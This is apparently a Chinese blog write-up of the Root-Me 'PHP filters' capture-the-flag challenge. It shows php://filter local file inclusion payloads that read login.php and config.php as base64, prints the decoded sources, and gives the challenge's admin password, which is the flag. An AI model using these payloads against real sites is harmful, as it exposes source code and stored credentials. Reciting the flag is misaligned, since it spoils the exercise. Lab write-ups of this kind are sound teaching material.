【Root-Me】 PHP filters



PHP 的 LFI 漏洞,前置知识可以参考这篇文章: 【Local File Inclusion (LFI) — Web Application Penetration Testing


开启挑战后注意到:

  • 点击 home 后,URL 会添加参数 ?inc=accueil.php
  • 点击 login 后,URL 会添加参数 ?inc=login.php


这已经满足了 LFI 漏洞的特征。

而题目提示是 【PHP filters】,而在 LFI 漏洞利用中, php://filter 的主要作用是查看服务器的本地文件内容。

参考 payload 为 vuln.php?page=php://filter/convert.base64-encode/resource=filepath

意思为使用 base64 编码方式查看指定路径的文件内容。


而目前为止,我们知道的两个文件为 accueil.phplogin.php ,因此我们先后构造两个 payload 如下:

  • ?inc=php://filter/convert.base64-encode/resource=accueil.php
  • ?inc=php://filter/convert.base64-encode/resource=login.php

对于第一个 payload 没有得到有价值的内容,而第二个 payload 返回 base64 编码后的 login.php 页面源码:

PD9waHAKaW5jbHVkZSgiY29uZmlnLnBocCIpOwoKaWYgKCBpc3NldCgkX1BPU1RbInVzZXJuYW1lIl0pICYmIGlzc2V0KCRfUE9TVFsicGFzc3dvcmQiXSkgKXsKICAgIGlmICgkX1BPU1RbInVzZXJuYW1lIl09PSR1c2VybmFtZSAmJiAkX1BPU1RbInBhc3N3b3JkIl09PSRwYXNzd29yZCl7CiAgICAgIHByaW50KCI8aDI+V2VsY29tZSBiYWNrICE8L2gyPiIpOwogICAgICBwcmludCgiVG8gdmFsaWRhdGUgdGhlIGNoYWxsZW5nZSB1c2UgdGhpcyBwYXNzd29yZDxici8+PGJyLz4iKTsKICAgIH0gZWxzZSB7CiAgICAgIHByaW50KCI8aDM+RXJyb3IgOiBubyBzdWNoIHVzZXIvcGFzc3dvcmQ8L2gyPjxiciAvPiIpOwogICAgfQp9IGVsc2Ugewo/PgoKPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgTG9naW4mbmJzcDs8YnIvPgogIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VybmFtZSIgLz48YnIvPjxici8+CiAgUGFzc3dvcmQmbmJzcDs8YnIvPgogIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+PGJyLz48YnIvPgogIDxici8+PGJyLz4KICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY29ubmVjdCIgLz48YnIvPjxici8+CjwvZm9ybT4KCjw/cGhwIH0gPz4=

对其进行 Base64 解码,得到 login.php 的页面源码为:

<?php
include("config.php");

if ( isset($_POST["username"]) && isset($_POST["password"]) ){
    if ($_POST["username"]==$username && $_POST["password"]==$password){
      print("<h2>Welcome back !</h2>");
      print("To validate the challenge use this password<br/><br/>");
    } else {
      print("<h3>Error : no such user/password</h2><br />");
    }
} else {
?>

<form action="" method="post">
  Login&nbsp;<br/>
  <input type="text" name="username" /><br/><br/>
  Password&nbsp;<br/>
  <input type="password" name="password" /><br/><br/>
  <br/><br/>
  <input type="submit" value="connect" /><br/><br/>
</form>

<?php } ?>

其中源码第一行 include("config.php"); 包含了一个配置文件 config.php ,而之后则有一个条件语句:

if ($_POST["username"]==$username && $_POST["password"]==$password)

很明显是比较输入的账密与变量 $username/$password 是否一致,但是没看到这两个变量定义在哪里。

初步推测这两个变量是定义在第一行包含的配置文件 config.php 中。


为此,构造第三个 payload 查看 config.php 的内容:

?inc=php://filter/convert.base64-encode/resource=config.php

得到 config.php 的 Base64 编码内容为:

PD9waHAKCiR1c2VybmFtZT0iYWRtaW4iOwokcGFzc3dvcmQ9IkRBUHQ5RDJta3kwQVBBRiI7Cgo/Pg==

解码后得到密码,完成挑战:

<?php

$username="admin";
$password="DAPt9D2mky0APAF";

?>

答案下载

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
 上一篇
从 Git 仓库拉取代码到本地 从 Git 仓库拉取代码到本地
#!/bin/bash # 从 Git 仓库拉取代码到本地 #------------------------------------------------- # 命令执行示例: # ./pull_git_repository.sh -u
2019-01-17
下一篇 
【Root-Me】 CSRF - 0 protection 【Root-Me】 CSRF - 0 protection
来源:Root-Me 题型:Web-Client 题目:CSRF - 0 protection 分数:35 Points 已经很直白提示是 CSRF 题型。 点击 Register 随意注册一个账号,如 exp,密码 123456 。
2019-01-12
  目录